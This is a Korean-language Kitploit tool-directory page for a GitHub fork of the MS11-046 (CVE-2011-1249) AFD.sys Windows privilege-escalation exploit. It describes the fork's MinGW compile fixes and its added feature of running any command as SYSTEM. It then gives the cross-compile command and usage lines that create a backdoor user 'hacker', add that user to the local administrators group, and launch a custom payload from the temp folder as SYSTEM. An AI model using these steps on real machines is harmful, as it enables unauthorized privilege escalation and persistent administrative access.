Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/appl3b0y/edb-40564-mingw-fix
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubappl3b0y/edb-40564-mingw-fix

edb-40564-mingw-fix

CVE-2011-1249 (MS11-046) AFD 권한 상승 — MinGW 크로스 컴파일 수정 + 사용자 정의 명령 지원

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ms11-046-mingw

CVE-2011-1249 / MS11-046 — Windows x86용 AFD.sys 권한 상승.

Tomislav Paskalev의 원본 익스플로잇(EDB-40564). 이 포크는 MinGW 크로스 컴파일 오류를 수정하고 argv[1]을 통한 사용자 명령 실행을 추가합니다.


원본 대비 변경 사항

#변경 사항이유
1FARPROC ZwQuerySystemInformation → 타입 함수 포인터 (pZwQuerySystemInformation)MinGW의 엄격한 타입 검사는 인수가 있는 0-매개변수 FARPROC 호출을 거부합니다 — 컴파일 실패: too many arguments to function
2securityPatches[] 배열을 static으로 표시if/else 블록 내부에 선언된 배열은 스택에 할당되어 범위를 벗어납니다. static이 없으면 포인터가 댕글링됩니다.
3argv[1]을 통한 사용자 명령하드코딩된 cmd.exe 대신 SYSTEM으로 모든 명령 실행

문제

MinGW로 원본 컴파일 시 실패:

root@kitploit:~
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4

FARPROC는 0개의 매개변수로 선언된 제네릭 함수 포인터입니다. MinGW는 엄격한 타입 검사를 적용하여 인수를 사용한 호출을 거부합니다. 수정 방법은 올바른 서명을 가진 타입 함수 포인터를 사용하는 것입니다.

사전 컴파일된 바이너리가 존재하지만(예: SecWiki/windows-kernel-exploits) 사용자 명령을 지원하지 않습니다.


Linux에서 크로스 컴파일 (MinGW)

root@kitploit:~
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32

사용법

root@kitploit:~
ms11-046.exe                                             # 기본: SYSTEM으로 cmd.exe 실행
ms11-046.exe "net user hacker Pass123! /add"             # SYSTEM으로 사용자 추가
ms11-046.exe "net localgroup administrators hacker /add" # 로컬 관리자에 추가
ms11-046.exe "c:\windows\temp\shell.exe"                 # SYSTEM으로 사용자 정의 페이로드 실행

참고 자료

  • MS11-046 — Microsoft 보안 공지
  • CVE-2011-1249 — National Vulnerability Database
  • EDB-40564 — 원본 익스플로잇
도구 다운로드